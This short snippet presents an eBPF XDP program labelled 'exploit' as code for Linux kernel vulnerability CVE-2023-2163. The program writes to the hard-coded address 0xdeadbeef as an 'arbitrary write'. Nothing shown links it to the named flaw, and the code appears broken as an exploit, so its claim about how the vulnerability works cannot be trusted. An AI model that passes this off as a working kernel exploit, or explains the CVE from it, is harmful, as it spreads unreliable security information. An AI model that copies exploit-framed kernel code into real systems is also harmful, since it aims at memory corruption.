Linux Kernel effected by CVE-2023-2163

#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>

SEC("xdp")
int exploit(struct xdp_md *ctx) {
    char *ptr = (char *)0xdeadbeef; // Arbitrary address
    *ptr = 'A'; // Arbitrary write
    return XDP_PASS;
}

char _license[] SEC("license") = "GPL";